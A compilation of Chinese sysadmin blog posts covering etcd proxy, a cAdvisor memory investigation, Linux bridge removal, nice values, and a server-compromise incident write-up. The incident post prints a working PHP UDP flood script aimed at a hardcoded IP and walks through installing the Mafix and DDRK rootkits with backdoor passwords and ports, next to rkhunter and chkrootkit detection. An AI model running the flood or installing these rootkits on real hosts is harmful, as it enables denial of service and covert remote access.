etcd proxy 配置和使用

本文大部分转自:etcd proxy功能简介, 原文科普简单,没有涉及证书的内容,不太适用于在企业使用。我在末尾加了证书相关的内容和命令。

一、etcd proxy概述

etcd提供了proxy功能,即代理功能,etcd可以代理的方式来运行。

etcd代理可以运行在每一台主机,在这种代理模式下,etcd的作用就是一个反向代理,把客户端的etcd请求转发到真正的etcd集群。这种方式既加强了集群的弹性,又不会降低集群的写的性能。

etcd proxy支持2种运行模式:readwrite和readonly,缺省的是readwrite,即proxy会将所有的读写请求都转发给etcd集群;readonly模式下,只转发读请求,写请求将会返回http 501错误。

二、etcd proxy参数

启动etcd代理主要有3个参数:proxy、listen-client-urls、initial-cluster(或discovery)。

proxy指的是代理的模式,on是readwrite模式,readonly是只读模式。

listen-client-urls指的是代理的监听地址。

initial-cluster(或discovery)指的是请求将转发到在此url发现的etcd集群。discovery指的是使用服务发现方式搭建的集群url。

启动命令示例:

./etcd –proxy on –listen-client-urls http://0.0.0.0:22379  –initial-cluster myetcd1=http://0.0.0.0:12380 –data-dir /home/cmp/temp/proxy

三、注意事项

1、proxy只支持API v2,不支持v3;

2、在服务发现集群模式下,多启动的etcd节点将会自动降级成读写模式的代理;

3、代理不会自动变成etcd集群节点,如要加入集群需要手工进行如下操作:

etcd add命令将proxy节点加入集群、停止proxy进程或服务、删除proxy数据目录、使用正确的参数配置重新启动etcd进程或服务。

四、代理实例操作演示

1、先启动一个简单etcd集群

./etcd –name myetcd1 –listen-client-urls http://0.0.0.0:12379 –advertise-client-urls http://0.0.0.0:12379 –listen-peer-urls http://0.0.0.0:12380 –initial-advertise-peer-urls http://0.0.0.0:12380 –initial-cluster myetcd1=http://0.0.0.0:12380 –data-dir /home/cmp/temp/myetcd1

2、再启动一个proxy节点

./etcd –proxy on –listen-client-urls http://0.0.0.0:22379 –initial-cluster myetcd1=http://0.0.0.0:12380 –data-dir /home/cmp/temp/proxy &

3、查看etcd集群信息

./etcdctl –endpoints http://0.0.0.0:12379 member list
eb06dc1bc141ff4f: name=myetcd1 peerURLs=http://0.0.0.0:12380 clientURLs=http://0.0.0.0:12379 isLeader=true

etcd集群中只有一个leader成员。

4、通过代理进行key-value操作

./etcdctl –endpoints http://127.0.0.1:22379 set key1 xxxxx
xxxxx

./etcdctl –endpoints http://127.0.0.1:22379 get key1
xxxxx

API v2命令可以成功通过代理读写数据。

ETCDCTL_API=3 ./etcdctl –endpoints=http://127.0.0.1:12379 put key2 sssssssssss
OK

ETCDCTL_API=3 ./etcdctl –endpoints=http://127.0.0.1:22379 get key2
Error: context deadline exceeded

直接访问集群时,API v3命令成功将key值写入,但是通过proxy读取时,命令直接报错。

5. 是用ssl证书的相关内容

我使用systemd进行管理,配置如下:

# /etc/systemd/system/etcd.service
[Unit]
Description=Etcd Server
After=network.target
After=network-online.target
Wants=network-online.target
Documentation=https://github.com/coreos

[Service]
Type=notify
WorkingDirectory=/var/local/etcd/
User=root
ExecStart=/usr/bin/etcd \
  --proxy=on \
  --peer-cert-file=/var/local/etcd/ssl/peer.pem  \
  --peer-key-file=/var/local/etcd/ssl/peer-key.pem  \
  --peer-trusted-ca-file=/var/local/etcd/ssl/ca.pem  \
  --listen-client-urls http://0.0.0.0:2379  \
  --initial-cluster node1=https://xxx:2380,node2=https://xxx:2380,node3=https://xxx:2380 \
  --data-dir=/var/local/etcd/etcddata
Restart=on-failure
RestartSec=5
LimitNOFILE=65536

[Install]
WantedBy=multi-user.target

要注意的是,我监听的端口2379并不包含 ssl 证书,使用的 peer 证书是连接到etcd-server所需的证书。

启动输出如下:

image-20221028午前114126830

客户端连接命令如下:

etcdctl --ca-file=/var/local/etcd/ssl/ca.pem --cert-file=/var/local/etcd/ssl/peer.pem --key-file=/var/local/etcd/ssl/peer-key.pem --endpoints=http://{{$proxy_ip}}:2379  get /

需要注意的是,我在客户端中使用的是http,而不是https。

参考资料


cAdvisor内存占用不断飙升导致其在k8s内不断crash问题排查 - hansedong

原文:https://hansedong.github.io/2018/10/24/5/

背景

我们的额监控方案为:Kubernetes(K8S)+cAdvisor+Prometheus+Grafana。 然后,用cAdivor监控容器信息,其实,cAdivor其实到现在的主流K8S版本中,Kubelet进程已经将其内置了,但是我们没有这么用,因为没有必要因为让Prometheus定期去Kubelet上采集容器信息,平白增添对Kubelet的压力。相反,我觉得,还是应该还是应该单独部署cAdvisor,这样一来,不论是定制化cAdvisor,还是版本更新,都会更方面。所以,我使用DaemonSet部署了cAdvisor。

问题

用DaemonSet的方式部署cAdvisor,本质上,就是每个K8S的宿主机都启动了一个pod,实际观测,发现这些Pod的状态,会随着时间的推移,开始频繁出现Crash。这个问题,势必会导致cAdvisor无法正常监控容器信息。下面是具体的排查过程。

排查初探

首先,Pod Crash 必然有其原因,所以,一开始是通过下面的方式,看cAdvisor到底为何会Crash,通过

kubectl describe pod -n monitoring pod-xxxxx

找到Last State部分,发现其为:

State: OOMKilled

这说明,这个 Pod,是因为内存不够,cAdvisor在运行过程,超出了Pod的资源限制,被OOM杀掉了。既然资源不够,那么首先,就是调大其内存限制。

一开始为这个Pod设置的上限资源为1核CPU+1G内存,既然内存无法满足,那么调大为2G,继续观测,发现依然会OOM。然后又调整为3G、4G、10G、20G(机器内存大,土豪),发现虽然内存变大了会有一些缓解,但实际上,即使内存上限设置为20G,还是会有Crash的情况,那么,这时候就需要反思一下几个问题了:

  1. 是否是cAdvisor存在bug?
  2. 哪个机器上的cAdvisor Pod总是重启?
排查是否是cAdvisor版本问题

针对第一点,我们升级了cAdivor镜像为最新版,问题依旧。

排查是否是cAdvisor参数配置问题

google一些文章,有人提过类似的问题,官方issue的解释中,有人提到可能配置不对,可能采集的指标过多等,于是,我review了一下我的配置,调整后的完整配置如下:

apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
  labels:
    name: cadvisor
  name: cadvisor
  namespace: monitoring
spec:
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      name: cadvisor
  template:
    metadata:
      annotations:
        prometheus.io/port: "28762"
        prometheus.io/scrape: "true"
      creationTimestamp: null
      labels:
        name: cadvisor
    spec:
      automountServiceAccountToken: false
      containers:
      - args:
        - -allow_dynamic_housekeeping=true
        - -global_housekeeping_interval=1m0s
        - -housekeeping_interval=3s
        - -disable_metrics=udp,tcp,percpu,sched
        - -storage_duration=15s
        - -profiling=true
        - -port=28762
        - -max_procs=1
        image: mine/cadvisor-test:v0.0.2
        imagePullPolicy: IfNotPresent
        name: cadvisor
        ports:
        - containerPort: 28762
          hostPort: 28762
          name: http
          protocol: TCP
        resources:
          limits:
            cpu: "1"
            memory: 3000Mi
          requests:
            cpu: "1"
            memory: 500Mi
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
        volumeMounts:
        - mountPath: /rootfs
          name: rootfs
          readOnly: true
        - mountPath: /var/run
          name: var-run
          readOnly: true
        - mountPath: /sys
          name: sys
          readOnly: true
        - mountPath: /var/lib/docker
          name: docker
          readOnly: true
        - mountPath: /dev/disk
          name: disk
          readOnly: true
      dnsPolicy: ClusterFirst
      hostNetwork: true
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30
      volumes:
      - hostPath:
          path: /
          type: ""
        name: rootfs
      - hostPath:
          path: /var/run
          type: ""
        name: var-run
      - hostPath:
          path: /sys
          type: ""
        name: sys
      - hostPath:
          path: /DATA/docker
          type: ""
        name: docker
      - hostPath:
          path: /dev/disk
          type: ""
        name: disk
  templateGeneration: 6
  updateStrategy:
    rollingUpdate:
      maxUnavailable: 1
    type: RollingUpdate

我调整的部分主要集中在:

// 这个是禁用哪些指标,默认只有udp、tcp
- -disable_metrics=udp,tcp,percpu,sched
// 存储最近多久的数据,原来是1分多钟,调整为15s
- -storage_duration=15s
// 是否开启性能测试,默认为关闭,之所以开启,是要一会儿debug内存占用
- -profiling=true
// 使用多少CPU,默认不到1个
- -max_procs=1

上面的方式,是减少了一些采集指标,以及采集数据的最多保留时长,稍微有些效果,但是发现效果不大,原来某些机器上频繁Crash的cAdvisor Pod,还是Crash,另外某些机器上从来不Crash的,也不会Crash。那么,说明参数配置没什么用,问题应该出现某些机器上。

排查为何cAdivosr Pod在某些机器上Crash

我回顾了一下我们的K8S节点,发现cAdvisor Pod不OOM的机器上面,容器都比较少。越是容器多的机器,这机器上的cAdvisor Pod就越容易OOM Crash。

那么,我们看一下 cAdvisor 的 Pod 日志,发现其频繁报一个错误:

fsHandler.go:135] du and find on following dirs took 57.562700809s: [/rootfs/DATA/docker/overlay2/d8c002c4dc33c22129124e70bf7ca15fd312cd8867c040708d11d7d462ee58df/diff /rootfs/DATA/docker/containers/16eb9120ce2da24d867ee287c093ce7221f1d3ed39e69c3a8d128313a5dc0d63]; will not log again for this container unless duration exceeds 4s

这说明,cAdvisor会统计每一个容器占用的磁盘使用大小,这个大小是通过du命令来处理的,而且,这个统计耗费的时间很长。我们可以实际去看一下,发现这个目录,确实比较大,有些在2-3G。这说明,这个机器上,必然存在一些容器,里边在搞事情,写了很多的文件,导致 du 命令在统计的时候,比较耗时。

问题初步总结

K8S节点,有些容器存储或写入了比较多的文件,造成cAdvisor统计容器磁盘使用耗时,进而引发此cAdivosr内存占用升高。

排查深入探究

既然上面已经初步定为问题,但是我们依然会疑惑,为什么cAdivosr统计容器磁盘耗时会引发内存飙升呢?

我们需要借助一些工具来进一步排查

  1. 通过 go tool pprof 分析内存
  2. 通过查看 cAdvisor 源码分析流程
  3. 在源码中,打断点,验证猜想
通过 go tool pprof 分析内存

首先,将 DaemonSet 启动的 cAdvisor,使用 Host 模式启动,这样我们就可以直接通过访问宿主机上,cAdvisor开放的端口,来做性能采样了。

go tool pprof  -cum -svg -alloc_space http://x.x.x.x:28762/debug/pprof/heap

上面的步骤,会生成内存性能采样图,类似如下:

采样图

详细采样图,可以通过此连接查看:

采样图全

从图中,先看红色部分,颜色越深,表示这部分资源消耗越严重,我们这个采样图是采集的内存,可以看到,有 2366.70M,是 Gather 函数的,但其实,这个函数本身,并没有多少内存消耗,它的内存占用这么大,是 collectContainersInfo 函数分配的。其实不论怎样,Gather函数都脱离不了干系。那么,我们从源码看一下

源码分析

首先,入口函数main中,注册了/metrics对应的handler,因为cAdvisor要开发 /metirics路径,让 Prometheus 来定时采集

// cadvisor.go#82
func main() {
	defer glog.Flush()
	flag.Parse()
	//注册HTTP路径 *prometheusEndpoint 值就是 /metirics
	cadvisorhttp.RegisterPrometheusHandler(mux, containerManager, *prometheusEndpoint, containerLabelFunc, includedMetrics)
	glog.V(1).Infof("Starting cAdvisor version: %s-%s on port %d", version.Info["version"], version.Info["revision"], *argPort)

	addr := fmt.Sprintf("%s:%d", *argIp, *argPort)
	glog.Fatal(http.ListenAndServe(addr, mux))
}

然后,看一下,是谁在处理 /metrics 路由对应的操作

// 代码文件:http/handler.go#97
func RegisterPrometheusHandler(mux httpmux.Mux, containerManager manager.Manager, prometheusEndpoint string,
	f metrics.ContainerLabelsFunc, includedMetrics container.MetricSet) {
	r := prometheus.NewRegistry()
	r.MustRegister(
		metrics.NewPrometheusCollector(containerManager, f, includedMetrics),
		prometheus.NewGoCollector(),
		prometheus.NewProcessCollector(os.Getpid(), ""),
	)
	//可以看到,真正执行 /metrics 的函数,是 promhttp.HandlerFor
	mux.Handle(prometheusEndpoint, promhttp.HandlerFor(r, promhttp.HandlerOpts{ErrorHandling: promhttp.ContinueOnError}))
}

可以看到,真正执行 /metrics 的函数,是promhttp.HandlerFor,具体深入HandlerFor看一下

// 代码文件:vendor/github.com/prometheus/client_golang/prometheus/promhttp/http.go#82
func HandlerFor(reg prometheus.Gatherer, opts HandlerOpts) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
	   //这里就是真正的 Gather 调用
		mfs, err := reg.Gather()
		...
	})
}

至此,可以说明,每一次HTTP调用(调用 x.x.x.x:8080/metrics),都会又一次Gather调用。

所以我们猜想,之所以Gather函数有这么大的内存占用,主要是因为Gather函数调用次数多,而每次Gather函数执行之间长,导致形成了并发调用,这种情况下,Gather函数从执行到结束期间,都不会释放内存,并发调用,就会导致内存积压。

修改源码,重新构建部署,验证猜想

那么,我们在Gather调用处,打断点,看一下执行时间:

// 代码文件:vendor/github.com/prometheus/client_golang/prometheus/promhttp/http.go#82
func HandlerFor(reg prometheus.Gatherer, opts HandlerOpts) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
	   pp.Println("请求开始————————")
		start:=time.Now()
	   //这里就是真正的 Gather 调用
		mfs, err := reg.Gather()
		...
		timeCost := time.Since(start)
		pp.Println(fmt.Sprintf("请求结束,耗时 %v", timeCost))
	})
}

我们打印了Gather执行的耗时,然后重新构建 cAdvisor源码,打一个私有镜像出来,推送到私有镜像仓库。然后我们使用这个测试镜像,重新部署cAdvisor。

现在,我们挑一台之前cAdvisor频发OOM Crash的机器,看一下它的log

kubectl logs -n monitoring cadvisor-k9kpt -f

日志输出大致如下:

"请求开始————————"
I1023 14:21:19.126794       1 fsHandler.go:135] du and find on following dirs took 15.420205027s: [/rootfs/var/lib/docker/overlay2/67ec1868b2c0ed5ce5b22ee014eb4d08993accd68546a3de6aa2a6355bdc1a78/diff /rootfs/var/lib/docker/containers/cd910753386b3325af8bd5a69fc01b261ca14c1bfaf754677662e903b755d34f]; will not log again for this container unless duration exceeds 56s
I1023 14:21:19.305938       1 fsHandler.go:135] du and find on following dirs took 15.278733582s: [/rootfs/var/lib/docker/overlay2/10621b60f26962cb1a90d7a7dc1ce4e3c8a15f6e4e30861b8433c5c37727bb9e/diff /rootfs/var/lib/docker/containers/b2a4d11c37aa9c63b4759c5728956253fad46fa174c7fe4d91336a4ac7532127]; will not log again for this container unless duration exceeds 1m34s
I1023 14:21:19.827757       1 fsHandler.go:135] du and find on following dirs took 13.897447077s: [/rootfs/var/lib/docker/overlay2/29b3b0dfc22053937e9c40e004a6d31af489573ff3a385020feb22d88d1a3d0a/diff /rootfs/var/lib/docker/containers/af962971a0643418d28c03b374e31a0c58dd6302524ea06dc8a23c4eccf5d663]; will not log again for this container unless duration exceeds 1m20s
I1023 14:21:20.042949       1 fsHandler.go:135] du and find on following dirs took 14.514122984s: [/rootfs/var/lib/docker/overlay2/27f1d3cb3d421567754cb7abb986c16c3f3bec0874e983a2604aa7eda8834d9a/diff /rootfs/var/lib/docker/containers/60cad8688e31b557e2e98c47beaa1f3af2ea2e6cbfab0c1f399887b3eecec86c]; will not log again for this container unless duration exceeds 1m56s
"请求结束,耗时 58.093771464s"

日志其实我只是截图了一部分,基本上可以看出来,Gather请求十分耗时,这个耗时,就是由 du 操作耗时造成的,有时候,du 耗时非常严重,能将近2分钟。

这样,基本上,就印证了,Gather函数处理慢,而Prometheus每隔3s请求一次,造成同时有非常多的 Gather函数在并发处理,也就导致了内存积压的情况。

彻底解决

综上,其实我们只需要让 du 磁盘统计快了就可以了,du 的快慢,是一个CPU密集和磁盘IO密集的操作,要加快 du 操作,就需要给到足够的运算能力。

回顾之前我们的 cAdvisor 的 DaemonSet 的yaml配置,我们在资源的 limit 部分,仅给到了一个 CPU,我们加 CPU 核数增加到6。如下:

resources:
  limits:
    cpu: "6"
    memory: 3000Mi
  requests:
    cpu: "2"
    memory: 500Mi

然后,更新 DaemonSet 部署

kubectl apply -f cadvisor.ds.yaml

再次去观察 cAdvisor 的pod日志,发现du耗时明显缩短到2秒钟以内,pod内存占用过高的情况,再也没有出现过。问题得解!


Linux 删除虚拟网卡/网桥

一些知识

  • 什么是网桥

    网桥,是把两个不同物理层,不同MAC子层,不同速率的局域网连接在一起。比如说10MB/S与100MB/S的局域网,具有存储转化功能。

    网桥是一种在链路层实现中继,对帧进行转发的技术,根据MAC分区块,可隔离碰撞,将网络的多个网段在数据链路层连接起来的网络设备。

    它是Linux上用来做TCP/IP二层协议交换的设备,与现实世界中的交换机功能相似。

  • 什么是网卡

    网卡是电脑的一个接收信息 转换信息 暂储信息的一个硬件。它是把接受到信息递交给上层,如(CUP)的一个接口。

操作

  • 刪除虚拟网卡

    tunctl -d <虚拟网卡名>
    
  • 刪除虚拟网桥

    ifconfig <网桥名> down
    brctl delbr <网桥名>
    
  • 将网卡tap0, eth0 移出bridge(br0)

    brctl delif br0 tap0
    brctl delif br0 eth0
    
  • 另一个删除网桥

    ip link del flannel.100
    

参考资料


记录一次服务器被攻击时的处理过程 - 运维那点事

https://www.modb.pro/db/62397

好久没有发文章了,主要是觉得微信不适合发技术性文章,整体排版看上去比较乱。尽量多发一些理论性的和工作中遇到的问题。今天分享一次被攻击处理的思路。

特此声明,此篇文章只是分享一下服务器被攻击时的处理思路,并没有什么技术含量的东西。此次攻击是服务器被当成肉鸡了一直DDOS外部网站,事情不大,但影响甚大,因为此主机不光负载过高,并且跑了1G的带宽,影响可想而知。

故事开始:2016:10:27 17:14

接收到反馈出口带宽异常,同时接收到服务器带宽占用报警,我们所有主机都是加有基础监控模板的(Zabbix监控系统)。下面是流量监控报警图,大于50M报警:

img

所以很快定位到了某主机异常,马上上监控看了流量图:

img

从监控可以看出,带宽跑了1G且都是往外发包。

故障处理:2016:10:27 17:16

第一件事,立马对此机器进行断网处理,这个要看业务重要性来决定了。因为这样立马能够解决这个问题,而来给排查留下时间。

上了机器之后,第一件事就是top -c一下,既然往外发包就必然会产生进程,结果如下:

img

这是比较理想的一种方式,因为此进程负载高,所以可以一眼看出,且进程没有伪装。

但是比较操蛋的是,不管是top -c还是ps aux都是只能看见进程,而看不见进程执行的绝对路径。这个时候查找php.php这个文件有三种简单的方法:

第一种:find

$ find / -name "php.php"

find命令用于查找文件,在目录结构中搜索文件,并执行指定的操作。此命令提供了相当多的查找条件,功能很强大,但是慢。

第二种:locate

$ locate php.php

locate命令用于查找文件,它比find命令的搜索速度快,但是时效性没有find好。因为它需要一个数据库,这个数据库由每天的例行工作(crontab)程序来建立。当我们建立好这个数据库后,就可以方便地来搜寻所需文件了。

所以你可以即先运行:updatedb(无论在那个目录中均可,可以放在crontab中 )后在/var/lib/slocate/下生成slocate.db数据库即可快速查找。在命令提示符下直接执行updatedb命令即可。

第三种:ll /proc/PID/exe

Linux在启动一个进程时,系统会在/proc下创建一个以PID命名的文件夹,在该文件夹下会有我们的进程的信息,其中包括一个名为exe的文件即记录了绝对路径,通过ll或ls -l命令即可查看。Linux查看进程运行的完整路径方法:http://www.ywnds.com/?p=6880

所以有了这么几种方法后,我们可以快速找到php.php文件,所以此时也就可以把进程给kill了,或者发现时kill也行。下面就是分析一下这个php.php文件了,上脚本:

<?php  
$packets = 0;  
#$ip = $_GET['ip'];
$ip = '211.152.5.57';
#$rand = $_GET['port'];  
$rand = 80;  
set_time_limit(0);  
ignore_user_abort(FALSE);  
#$exec_time = $_GET['time'];  
$exec_time = 60*60*24;  
$time = time();  
print "Flooded: $ip on port $rand <br><br>";  
$max_time = $time+$exec_time;  
$out = '';
for($i=0;$i<65535;$i++){  
    $out .= "X";  
}  
while(1){  
    $packets++;   
    if(time() > $max_time){  
        break;  
    }  
    $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  
    if($fp){  
        fwrite($fp, $out);  
        fclose($fp);  
    }  
}  
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". /s \n";  
?>  

大概意思就是一直对一个IP的80端口进行发包,建立套接字连接导致服务器负载过高的同时,往外大量发包。

线索排查:2016:10:27 17:20

问题解决了,接下来就是分析为什么会被挂马,首先查看这几种主要日志(一般都会被人清除的):登录日志(包括失败和成功)、历史操作命令、还有消息日志和安全日志都可以看一看。最重要的是看看有没有潜藏有用户,其实一般这种机器都会下架处理。

我们这边由于不是那么规范,每个机器都有大量用户登录,所以这个不太好排查。也没有审计工具之类的,只能把最近登录用户拉出来看看有没有离职用户还遗留有账号。

安全这个东西需要一套规范的制度来严格控制,且需要有专业的安全人员来处理,以黑客的视角定能查出不一样的线索。毕竟我不是从业安全的,所以只能搞定这么多了。

如何防护?

其实这种服务器被人当肉鸡主动DDOS别人的攻击,如果只是简单的防护,我们强大的iptables都能搞定。

$ iptables -D OUTPUT -s 0.0.0.0/0 -d 0.0.0.0/0 -m state --state established -j ACCEPT
$ iptables -P OUTPUT DROP

大概意思就是只允许已经建立网络连接的用户从OUTPUT出去,针对所有的主机和协议。也就是说你的主机是不允许主动像外发送数据包的,只有别人请求自己时才可以往外发送数据包,避免DDOS别人。当然,这么设定之后是你连ping外部主机和上网都是无法进行的。如果对Iptables感兴趣可以细看Iptables章节。

借此话题延伸一下mafix、rkbunter、chkrootkit工具

上面大家也看到了,我们top -c立马就发现了可疑的进程,所以说我们是幸运的。那么还有常见的3种极端情况:

1)不能够很快发现可疑进程,但进程确实存在,伪装的较好;这个时候就可以使用流量监测工具,如iftop这种能够分析哪个进程占用流量较大,然后再去逐步排查。

2)无法找到此进程,一般服务器被黑,很多命令或进程都会被隐藏起来,使用top、ps这种工具根本发现不了,一般对安全了解不多的上去发现不了进程根本无法下手。

3)找到进程,但是确找不到被执行的脚本文件,当然可能进程和文件都找不到。

那么这种隐藏进程和文件怎么实现呢?这就需要涉及到后面介绍的工具了。

第一:Rootkit

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。Rootkit必备的基本功能,包括提供root后门,控制内核模块的加载, 隐藏文件,隐藏进程,隐藏网络端口,隐藏内核模块等。Rootkits通常分为:应用级别—内核级别—-硬件级别。

Rootkit是一种奇特的程序,它具有隐身功能:无论静止时(作为文件存在),还是活动时,(作为进程存在),都不会被察觉。换句话说,这种程序可能一直存在于我们的计算机中,但我们却浑然不知,这一功能正是许多人梦寐以求的——不论是计算机黑客,还是计算机取证人员。黑客可以在入侵后置入Rootkit,秘密地窥探敏感信息,或等待时机,伺机而动;取证人员也可以利用Rootkit实时监控嫌疑人员的不法行为,它不仅能搜集证据,还有利于及时采取行动!

Rootkit的目的在于隐藏自己以及不被其他软件发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。

关于rootkit高级玩法请移步:githup

下面我们来玩一款应用级的rootkit工具mafix。

第二:Mafix工具

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。通过Mafix登录进主机后就可以任意操作主机了。其实Mafix就是很典型的应用级Rootkit,是批量替换系统命令来实现的,但因为要替换大量系统命令所以需要root用户才可以使用。

这后门很贱,以前服务器中过一次,所以足够引起你的重视。

下载安装mafix。

$ tar xvf mafix.tar.gz

查看一下怎么使用mafix。

$ cat /mafix/HOW-TO 
no need to explain how to get it done
./root password port
and you are good 2 go
~mafix

执行root后面跟上密码和端口(这个root文件就是一个shell脚本,有兴趣可以读一遍)。

$ ./mafix/root 123456 23
		- the ferrari of rootkits - 
mafix! >  extracting libs...
mafix! >  backdooring box...
grep: /etc/syslog.conf: No such file or directory
mafix! >  no remote logging found...
mafix! >  no tripwire was detected..
mafix! >  installing trojans...
mafix! >  hold on...
mafix! >  Password: 123456
mafix! >  Port: 23
mafix! >  backdoored some daemons (netstat, ps)
mafix! >  checking for some vuln daemons....
mafix! >  sysinfo:
eth0: error fetching interface information: Device not found
mafix! > hostname : chenquan-test1 ()
mafix! > arch: 2015 -+- bogomips : 4199.98
4199.98 '
mafix! > alternative ip:  10.0.60.143 -+-  Might be [1 ] active adapters.
mafix! > dist:  CentOS release 6.8 (Final)
mafix! > cleaning up some traces... done!

执行完这个命令后,你的安装包就会被自动删除了。然后这个mafix的执行程序是/sbin/ttyload,你需要知道的。

接下来你就可以远程连接过来了,用户root,密码123456,端口23,且这个用户在/etc/passwd中是没有的。登录后如下图:

img

登陆帐号已经变成了root。

第三:DDRK工具

ddrk(DoDo’s Rootkit)是一个Linux结合shv和adore-ng优点的,内核级的rootkit。

$ tar xvf DDRK.tgz 
ddrk/rk.ko      #adore-ng编译后的内核模块,实现文件,进程隐藏功能;
ddrk/netstat    #替换系统的netstat,从ssh配置文件中读取端口,并隐藏;
ddrk/tty        #adore-ng带的ava工具;
ddrk/setup      #rootkit安装主文件;
ddrk/bin.tgz    #sshd主程序和sshd配置文件;

使用方法

./setup 123456 24

如果不设置用户名和端口,那么setup会利用文件里默认的用户名和密码安装。安装以后,使用ssh客户端远程连上此端口,使用用户名root,密码为设置的密码。登录后可以查看隐藏效果。使用W看当前登录用户,只有本地用户;查看进程和端口号应该都查不到。

第四:Rkhunter工具

Rkhunter的中文名叫“Rootkit猎手”, 目前可以发现大多数已知的rootkits和一些嗅探器以及后门程序。它通过执行一系列的测试脚本来确认服务器是否已经感染rootkits,比如检查rootkits使用的基本文件,可执行二进制文件的错误文件权限,检测内核模块等等。

EPEL源安装rkhunter即可。

$ yum install rkhunter

安装后就可以使用rkhunter命令了,下面列出有用的参数:

--checkall (-c)           #全系统检测,rkhunter的所有检测项目;
--createlogfile           #建立登录档,一般预设放在/var/log/rkhunter.log;
--skip-keypress           #忽略按键后继续的举动(程序会持续自动执行);
--versioncheck            #检测试否有新的版本在服务器上;

接下来运行rkhunter –checkall,连续敲击回车,数分钟后得到报表,如图:

$ rkhunter --checkall
System checks summary
=====================
File properties checks...
 Required commands check failed
 Files checked: 143
 Suspect files: 9
Rootkit checks...
 Rootkits checked : 390
 Possible rootkits: 3
 Rootkit names : cb Rootkit, SHV4 Rootkit, SHV5 Rootkit
Applications checks...
 All checks skipped
The system checks took: 27 minutes and 59 seconds
All results have been written to the log file: /var/log/rkhunter/rkhunter.log
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter/rkhunter.log)

我们从分析报告可以看出,Rkhunter怀疑被篡改的文件有9个,怀疑rootkits有3个,具体再去/var/log/rkhunter/rkhunter.log中查看。

Rkhunter拥有并维护着一个包含rootkit特征的数据库,然后它根据此数据库来检测系统中的rootkits,所以可以对此数据库进行升级,rkhunter –update

$ rkhunter --update
[ Rootkit Hunter version 1.4.2 ]

那么简单来讲,RKhunter就像我们的杀毒软件,有着自己的病毒数据库,对每一个重点命令进行比对,当发现了可疑代码则会提示用户。

第五:Chkrootkit工具

当然如果只是用Rkhunter检查扫描还是不够权威,再来安装一款检查下吧,chkrootkit是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(maliciouskernel modules)。

chkrootkit 在监测 rootkit 是否被安装的过程中,需要使用到一些操作系统本身的命令。但不排除一种情况,那就是入侵者有针对性的已经将 chkrootkit 使用的系统命令也做修改,使得 chkrootkit 无法监测 rootkit ,从而达到即使系统安装了 chkrootkit 也无法检测出 rootkit 的存在,从而依然对系统有着控制的途径,而达到入侵的目的。那样的话,用 chkrootkit 构建入侵监测系统将失去任何意义。对此,我 们在操作系统刚被安装之后,或者说服务器开放之前,让 chkrootkit 就开始工作。而且,在服务器开放之前,备份 chkrootkit 使用的系统命 令,在一些必要的时候(怀疑系统命令已被修改的情况等等),让 chkrootkit 使用初始备份的系统命令进行工作。

使用EPEL源安装chkrootkit即可。

$ yum install chkrootkit

接下来使用命令make sense来安装软件即可。

运行命令./chkconfig grep INFECTED,搜索被感染的文件。
$ chkconfig | grep INFECTED

通过上面两款工具的检查,已经确信了服务器被入侵的事实,但已经考虑到核心级rootkits是使用了LKM技术,而且系统中已经有大量的数据被修改且一般的木马后门隐蔽性毕竟高,为了保险起见还是要重新做系统。


如何查看应用的nice值

需要强调一点的是,进程的nice值不是进程的优先级,他们不是一个概念,但是进程nice值会影响到进程的优先级变化。

PRI是即进程的优先级,此值越小进程的优先级别越高。加入nice值后,将会使得PRI变为:PRI(new)=PRI(old)+nice。

ps ax -o pid,ni,cmd

例如

  $ps ax -o pid,ni,cmd
  PID  NI CMD
    1   0 /sbin/init
    2  -5 [kthreadd]
    3   - [migration/0]
    4  -5 [ksoftirqd/0]
    5   - [watchdog/0]
    6   - [migration/1]
    7  -5 [ksoftirqd/1]
    8   - [watchdog/1]